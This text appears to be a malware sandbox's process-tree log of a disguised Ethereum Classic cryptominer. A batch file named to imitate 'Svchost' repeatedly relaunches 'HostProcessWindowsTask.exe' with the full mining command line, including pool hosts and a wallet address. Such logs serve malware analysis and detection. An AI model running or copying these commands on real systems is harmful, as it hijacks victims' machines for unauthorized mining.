  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7080
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7872
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:7368
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5292
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7428
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7568
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7796
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7880
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8124
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7916
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8148
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4384
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7432
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5816
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7680
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7612
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7976
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2476
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1428
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:784
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7840
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7836
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8140
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7832
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:7828
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4068
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8128
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4384
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:4796
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7684
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8496
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:2784
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7688
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5096
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8632
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4408
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1428
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8240
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:8360
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8544
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8652
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:8724
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8984
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8812
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6844
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:8892
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1684
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9080
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7856
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2236
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:3516
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8372
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:1872
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6276
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8488
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4880
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7740
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:564
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2468
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4880
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5604
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3404
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7084
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9196
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8484
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8744
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5944
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4876
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1184
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:6856
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9196
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9784
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:6948
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9240
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:9432
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6160
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
